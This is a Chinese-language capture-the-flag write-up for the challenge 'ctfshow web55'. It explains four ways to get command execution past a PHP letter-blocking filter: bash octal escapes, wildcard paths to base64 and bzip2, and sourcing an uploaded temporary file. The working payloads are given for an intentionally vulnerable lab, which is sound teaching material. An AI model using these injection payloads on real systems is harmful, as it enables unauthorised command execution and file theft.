当前位置: 首页 > news >正文

ctfshow web55

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

过滤了 ; a-z 反引号 % \x09 \x26 > < ,写了一会我才发现貌似字母全给过滤了,那就只能使用数字编码来解这个题了(而且是bash能够识别并且转义的八进制数字编码)

解法一

举个例子

$'\143\141\164'
这是 Bash 中的八进制转义字符语法。$'...' 是 Bash 的一种特殊语法,允许在字符串中使用转义字符。

那么首先我们先ls一下康康目录

在cat一下flag.php

<font style="color:rgb(33, 37, 41);">$'\164\141\143' $'\146\154\141\147\56\160\150\160'</font>

这个在bash中会被解析为 <font style="color:rgb(33, 37, 41);">'tac'</font>``<font style="color:rgb(33, 37, 41);">'flag.php'</font><font style="color:rgb(33, 37, 41);">tac flag.php</font>是一样的,但是有的同学可能会编码成<font style="color:rgb(33, 37, 41);">$%27\164\141\143%27%20$%27\146\154\141\147\56\160\150\160%27</font>,这个就是<font style="color:rgb(33, 37, 41);">'tac flag.php'</font>在bash中就会被解析为一个单纯的字符串,命令不会被执行

解法二(存在巧合,可能是作者故意将base64放于bin目录下)

同样能够使用?通配符,区区过滤掉字母而已,既然数字没有过滤的话,可以使用base64

构造payload:

?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php

解法三(存在巧合性,可能是作者故意将bzip放于bin目录下)

使用/usr/bin/bzip2 对文件进行压缩

构造payload:

?c=/???/???/????2 ????.???
意思为:?c=/usr/bin/bzip2 flag.php最后访问/flag.php.bz2即可
下载下来的压缩包中包含有flag.php

解法四(无字母rce临时文件上传)

原理

  • x09 为 tab键。x26为 “ & ”。
  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
  • Linux 中 **<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">.</font>**(点)命令,或者叫 period,它的作用和 **<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">source</font>** 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

首先我们写一个可以文件上传的html文件

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="https://08305243-92cc-4fbc-a057-342a9d36cd6b.challenge.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

再随便上传一个文本文件

第一点/?c=.+/???/????????[@-[]``.表示执行命令,因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行sh命令+表示空格,[@-[]其实我挺好奇能不写成A-Z,但是尝试了页面不给回显(ps:之所以用[@-[]是因为直接用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母

第二点 文本内容和下面分割线不能有空格不然会以为是换行不执行命令了

这里要提醒一句,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

http://www.hskmm.com/?act=detail&tid=9764

相关文章:

  • ctfshow web58
  • ctfshow web57
  • 01
  • test 1
  • 关于如何计算空间
  • ECT-OS-JiuHuaShan框架实现的元推理,是新质生产力的绝对标杆
  • 线性调频信号(LFM)在雷达中的时域及频域MATLAB编程
  • Ubuntu 18.04 LTS 安装 6.10.10 内核 - 教程
  • 国标GB28181视频平台EasyGBS核心功能解密:如何实现海量设备的录像精准检索与高效回放?
  • 最大流判定+拆点
  • C++ 左值、右值、左值引用、右值引用
  • 基数排序模板(Radix Sort)
  • [项目开发经验分享]基于强类型事件的类型参数传递问题 —— 在 .NET Winform项目中如何设计泛型事件总线以实现UI与核心层的解耦
  • python3安装pip3
  • 堆基础知识
  • RUST 实现 Future trait
  • 行程长度编码
  • mysql 虚拟列,可以简化 SQL 逻辑、提升查询效率
  • Flash Attention算法动画
  • PointNetwork-求解TSP-05 - jack
  • 多站点的TSP问题求解-06 - jack
  • Windows 11如何进入安全模式
  • C# CAN通信上位机系统设计与实现
  • 进程池VS线程池
  • 聊聊昨天CodeBuddy Meetup的一些收获与思考
  • 框架的诞生,本就是人类文明共同涌现的结晶,绝不是某个人的独自觉悟
  • python+Django开发笔记(结合禅道开发测试报告)
  • MVC分层设计模式 2章
  • Questions about learning Symfony
  • 【Python】cx_Freeze模块_打包exe